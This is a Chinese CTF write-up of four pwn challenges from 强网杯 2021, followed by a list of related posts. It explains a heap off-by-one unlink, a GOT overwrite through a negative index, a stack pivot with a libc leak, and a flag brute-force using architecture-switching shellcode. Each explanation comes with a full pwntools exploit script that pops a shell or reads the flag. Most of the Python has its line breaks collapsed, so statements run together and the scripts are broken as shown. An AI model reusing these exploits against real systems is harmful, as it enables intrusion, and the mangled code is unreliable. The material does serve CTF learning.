baby_diary:

本题考查2.31的off by one, 漏洞处如下:

在sub_146e中会将输入数据的ASCII码相加再相加相加…直到变成一个byte的数字, 然后加到输入数据的后一位上, 因此我们可以尝试控制输入的内容, 从而控制下一个chunk的size大小

在确定完溢出点后, 我们便开始准备伪造chunk了, 由于要满足p->fd->bk == p, p->bk->fd == p以及prevsize == size, 我们需要申请一个largebin的chunk, 然后申请一个较小的chunkA利用其残留的fd_size和bk_size(好像是这么叫来着的, 忘了), 作为fakechunk的fd和bk, 同时由于程序会自动放置’\x00’, 所以这就要求我们爆破fd_size和bk_size的倒数第二位为’\x00’, 之后进行fakechunk的fd修改, bk不用动, 将fd的值修改为bk的值-8即可, 之后再释放chunkA, 因为其较小, 所以会放入fastbin中(注意符合大小的fastbin中要先放入chunk, 使得chunkA的fd有所指), 之后再申请回来修改一下, 使得chunkA的fd值为fakechunk的地址, 完成以后大概如下所示:

0050为chunkA, 0060为fakechunk
unlink的操作的话, 可以先申请一个chunk, 然后全用’\x00’填充, 这样就可以将inuse的符号位改变, 然后控制输入内容, 每次少输入一个字节, 就可以做到控制presize了, 之后就可以unlink了, 之后就是打印地址, 修改__free_hook为system即可
exp如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./baby_diary')
#sh=remote('8.140.114.72', 1399)
elf=ELF('./baby_diary')
libc=ELF('./libc-2.31.so')
context.arch="amd64"
#context.log_level="debug"def add(size, content='/bin/sh\x00'):sh.recvuntil(">> ")sh.sendline("1")sh.recvuntil("size: ")sh.sendline(str(size))sh.recvuntil("content: ")sh.sendline(content)def show(idx):sh.recvuntil(">> ")sh.sendline("2")sh.recvuntil("index: ")sh.sendline(str(idx))def delete(idx):sh.recvuntil(">> ")sh.sendline("3")sh.recvuntil("index: ")sh.sendline(str(idx))def stop():print str(proc.pidof(sh))pause()def pwn():add(0x4c60)                   #0, can delete[add(0x20) for i in range(7)] #1->7add(0x2000)                   #8add(0x10)                     #9delete(8)add(0x3000)                   #8add(0x20, p64(0)+p64(0x801)+p8(0x48))                     #10add(0x20)for i in range(7):delete(1+i)delete(11)delete(10)[add(0x20) for i in range(7)]add(0x20, p8(0x60))add(0x1d0+0x801-0x251, p64(2)*10)add(0x17)delete(12)add(0x800)add(0x17, p64(0)*2+p32(0)+p8(0)*3)add(0x10)delete(13)add(0x17, p64(0)+p64(8))add(0xfb0)delete(12)add(0x40)show(11)sh.recvuntil("content: ")leak_addr=u64(sh.recv(6).ljust(8, '\x00'))print hex(leak_addr)main_arena_offset=0x1ebb80libc_base=leak_addr-96-main_arena_offsetlibc.address=leak_addr-96-main_arena_offsetprint hex(libc_base)add(0x10)add(0x10)delete(17)delete(16)delete(13)add(0x700)add(0x100, p64(0)*7+p64(0x21)+p64(libc.sym['__free_hook']-8))add(0x10)onegadget=[0xe6e73, 0xe6e76, 0xe6e79]add(0x17, p64(libc.search("/bin/sh").next())+p64(libc.sym['system']))delete(0)sh.interactive()if __name__ == "__main__":while True:#sh=process("./baby_diary")sh=remote('8.140.114.72', 1399)try:pwn()except:sh.close()

orw:

一打开基本都是7的权限, 也就是说shellcode写哪基本上都可以, 主要是考虑如何执行就行了

因为不是FULL RELRO所以就考虑改got表为shellcode地址就行了, 然后调用
检查Add函数会发现其中的一个Read函数存在输入’\n’导致无限输入的漏洞

同时idx没有对负数进行检查, 从而给我们修改got提供了条件
exp如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./orw')
elf=ELF('./orw')
libc=elf.libc
context(os='linux',arch='amd64')def pwn():shellcode='''xor rax, raxxor rdi, rdixor rsi, rsixor rdx, rdxmov rax, 2mov rdi, 0x67616c662f2epush rdimov rdi, rspsyscallmov rdx, 0x100mov rsi, rdimov rdi, raxmov rax, 0syscallmov rdi, 1mov rax, 1syscall
'''sh.recv()sh.sendline('1')sh.recvuntil('index:')sh.sendline('-25')sh.recvuntil('size:')sh.sendline('')sh.recvuntil('content:')sh.sendline(asm(shellcode))sh.recv()sh.sendline('4')sh.recv()sh.sendline('1')sh.interactive()if __name__=="__main__":while True:sh=process('./orw')sh=remote('39.105.131.68',12354)try:pwn()except:sh.close()

no output(栈迁移):

你不给输出咱wepn的pwn垃圾就是要打个输出出来, 不图别的, 诶, 就是玩儿~
检查一下程序, 发现是partial relro, 所以就想改got表, 在动态捣鼓了一段时间后发现, open函数和write函数只有倒数第一, 第二位是不同的, 于是就想修改open为write用于之后泄露, 而且还是no pie这不是乱打?
然后就是基本栈迁移, 找个好点的地给ebp和esp日后躺着, 我找的是差不多是0x804c00+0xa00, 至于为什么要再加上0xa00是因为如果不加, 日后system函数在执行的时候会将栈地址减到0x804b00左右, 而这地址不可写, 会在mov时报错
说了这么多奇奇怪怪的准备, 那么说说总思路, 两次输入’\x00’后进入第二个函数, 第二个函数分别输入int32 min和-1触发8号信号进入read, 之后先进行一次栈溢出到我们的fake stack地址, 同时输入后面要用gadget之类的东东, fake stack上再写入read(0, elf.got[‘open’], 0x100), 修改其为write, 之后维护好栈后再触发call open就相当于write(1, elf.got[‘read’], 0x4), 就泄露了地址, 后面再维护一下栈就可以getshell了

exp如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./test')
#sh=remote('39.105.138.97',1234)
elf=ELF("./test")
libc=elf.libc
context.log_level='debug'
context.arch='i386'
leave_ret=0x80491a5
ret_addr=0x0804900e
read_100_addr=0x08049236
def pwn():sh.sendline('\x00'*1)print str(proc.pidof(sh))#gdb.attach(sh, '''b *0x080492a8''')payload=p8(0)*2#pause()sh.sendline(payload)sleep(1)sh.sendline(str(-2147483648))sh.sendline(str(-1))payload1=p32(0)*0x12+p32(0x0804C0B0-4+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0b0-4+0xa00)+p32(0x1000)payload2=p32(0x804c0c4+0xa00)+p32(0x804925b)+p32(0)+p32(elf.got['open'])+p32(0x100)+p32(leave_ret)+p32(0x804c0e0+0xa00)+p32(0x804936F)+p32(1)+p32(elf.got['read'])+p32(0x4)+p32(0)*2+p32(0x804c100+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0fc+0xa00)+p32(0x100)sh.sendline(payload1)#pause()sh.sendline(payload2)#pause()sh.send(p16(0x4c90)) read_addr=u32(sh.recv())log.success("read addr: "+hex(read_addr))libc.address=read_addr-libc.sym['read']log.success("system addr: "+hex(libc.sym['system']))libc_base=read_addr-libc.sym['read']sh.sendline(p32(0)+p32(0x804c200+0xa00)+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next()))sh.interactive()while True:#sh=process('./test')sh=remote('39.105.138.97',1234)try:pwn()except:sh.close()

shellcode:

这题建议看我录得视频

先用seccomp-tools查看, 发现mmap和read可用, 于是先mmap一块空间, 然后切换位数, 再次read shellcode(shellcode分别用shellcode_encoder-master和msf编码绕过判断), 之后把flag读入内存, 使用cmp循环逐位判断, 最后拼接打印
一号exp如下:

from pwn import *
context(log_level = 'debug')def pwn(sh, index, ch):append_x86 = '''push ebxpop ebx'''shellcode_x86 = '''mov esp,0x40404140push 0x67616c66push esppop ebxxor ecx,ecxmov eax,5int 0x80mov ecx,eax'''shellcode_flag = '''push 0x33push 0x40404089retfq/*read(fp,buf,0x70)*/mov rdi,rcxmov rsi,rspmov rdx,0x70xor rax,raxsyscall'''if index == 0:shellcode_flag += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)else:shellcode_flag += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)shellcode_x86 = asm(shellcode_x86)shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')shellcode = ''append = '''push rdxpop rdx'''shellcode_mmap = '''push 0x40404040 pop rdipush 0x7e pop rsipush 0x40 pop raxxor al,0x47push raxpop rdxpush 0x40 pop raxxor al,0x40push raxpop r8push rax pop r9push rbxpop raxpush 0x5dpop rcxxor byte ptr[rax+0x31],clpush 0x5fpop rcxxor byte ptr[rax+0x32],clpush 0x22 pop rcxpush 0x40pop raxxor al,0x49'''shellcode_read = '''push 0x40404040pop rsipush 0x40pop raxxor al,0x40push raxpop rdixor al,0x40push 0x70pop rdxpush rbxpop raxpush 0x5dpop rcxxor byte ptr[rax+0x57],clpush 0x5fpop rcxxor byte ptr[rax+0x58],clpush rdxpop raxxor al,0x70'''shellcode_retfq = '''push rbxpop raxxor al,0x40push 0x72pop rcxxor byte ptr[rax+0x40],clpush 0x68pop rcxxor byte ptr[rax+0x40],clpush 0x47pop rcxsub byte ptr[rax+0x41],clpush 0x48pop rcxsub byte ptr[rax+0x41],clpush rdipush rdipush 0x23push 0x40404040pop raxpush rax'''shellcode += shellcode_mmapshellcode += appendshellcode += shellcode_readshellcode += appendshellcode += shellcode_retfqshellcode += appendshellcode = asm(shellcode,arch = 'amd64',os = 'linux')sh.sendline(shellcode)sh.sendline(shellcode_x86 + 0x29*b'\x90' + shellcode_flag)index = 0
t = []
while True:for ch in range(0x20, 127):sh = remote('39.105.137.118', 50050)pwn(sh, index, ch)start = time.time()try:sh.recv(timeout=2)except:passend = time.time()sh.close()if end - start > 1.5:t.append(ch)print("".join([chr(i) for i in t]))breakelse:print("".join([chr(i) for i in t]))breakindex = index + 1print(t)log.success("".join([chr(i) for i in t]))

强网杯2021 pwn部分wp相关推荐

  1. 强网杯2021 ctf线上赛ezmath wp(#超详细,带逆向新手走过一个又一个小坑)

    文章目录 引言 一.分析文件类型 二.初步分析 1 运行情况 2 IDA初步分析 三.详细分析 1 sub_13F3函数分析 2 查找蛛丝马迹 (1)mprotect (2)重写unk_2010 3 ...

  2. [强网杯2021]XBUUCTF[QWB2021 Quals]popmaster复现记录

    给自动化代码审计的大佬跪了. 出题人写的WP在这里:强网杯[pop_master]与[陀那多]赛题的出题记录 复现可以到BUUCTF,启动[QWB2021 Quals]popmaster这道题就ok. ...

  3. 强网杯2021 misc 复现

    对强网杯BlueTeaming.ISO1995.CipherMan.Threebody的复现 (纯萌新学步) 可以参考mumuzi大佬的wp https://blog.csdn.net/qq_4288 ...

  4. 强网杯2021 [强网先锋]orw

    orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag 因为不是FULL RELRO所以就考虑改got表为shell ...

  5. 强网杯2022 pwn 赛题解析——yakacmp

    这道题在比赛中是笔者的队友负责的,但可惜的是最后的flag差了几秒没交上.这里借用一下他的exp做一篇分析文章. 这是一个用C++写的vm题,内部实现了各种指令到机器码的转换功能.下面就来分块分析一下 ...

  6. 强网杯2021 CipherMan (内存取证分析)

    一个磁盘镜像,一个内存镜像 攻击者恶意访问用户的PC和加密的特定卷.如何解密卷? 使用工具volatility.首先查看镜像的系统信息,得到版本 python vol.py -f memory ima ...

  7. 强网杯2021 BlueTeaming (内存取证)

    翻译:Powershell脚本由恶意程序执行.包含power shellscript内容的注册表项是什么? 题目要求找到powershell执行的脚本储存的注册表地址 使用到工具 volatility ...

  8. 2020强网杯部分题目复现

    本文目录 前言 强网先锋 Funhash 主动 upload web辅助 miscstudy 总结 前言 代码烂,游戏菜,天天等着大佬带.这次做出来三道题,无缘线下赛了,看来以后要找个大腿抱着才行(开 ...

  9. 第二届全国强网杯Web 题three hit学习心得(伪write up)

    前言:本人CTF-WEB入门,有参赛,赛后参考了很多write up想解出此题,无奈理解能力有限,看不懂很多大佬的思路,最后看 酷辣虫上的一篇大佬write up才弄明白. 现将学习心得总结如下,说得 ...

最新文章

  1. ExtJs学习笔记(4)_EditorGridPanel(可编辑的网格控件)
  2. 链栈的建立、判空、入栈、出栈、求长、访顶、清空和销毁
  3. asp功放怎么装_汽车功放怎么安装 汽车功放安装调试方法【详解】
  4. Storm 1.0.1发布 .NET 适配也已到来
  5. background使用
  6. 前端学习(1301):gulp建立任务csso和less
  7. Ubuntu系统显卡驱动、CUDA、CUDNN安装(一显卡驱动)
  8. win7装postgresql10.4
  9. 嵌入式·实时操作系统 xos介绍
  10. 增删改数据库表中的字段名
  11. mysql 常用函数和关键字
  12. java做一个简单的银行账户演示程序_JAVA初学(七):银行账户演示程序
  13. IntelliJ IDEA2018版下载安装教程以及详细步骤
  14. 字节游戏测试开发面试题
  15. 微信开发者工具模拟器中图片无法显示
  16. 分页抓取链家房源信息 xpath selenium
  17. Python安全工具编写-pcap流量包重放
  18. Docker容器技术与应用(项目2 Docker容器安装和使用)
  19. Linux RHEL/Ubuntu安装教程
  20. 东南大学计算机学院足球队,2017春季“放飞智能”杯东南大学苏州校友足球队比赛赛事系列报道(八)...

热门文章

  1. 浅谈配电室在线监控系统设计与工作原理
  2. GridView 的一些使用技巧
  3. html框架代码实例,HTML框架(Frames)
  4. 第五届新疆省ACM-ICPC程序设计竞赛
  5. ELF Section Header 分析
  6. 【作品集】Python爬虫实践
  7. 2440+NAND Flash(K9F1208UOM)总结 收藏
  8. C语言-break与continue语句
  9. php页面计数器,PHP网页计数器
  10. pandas循环写入多个sheet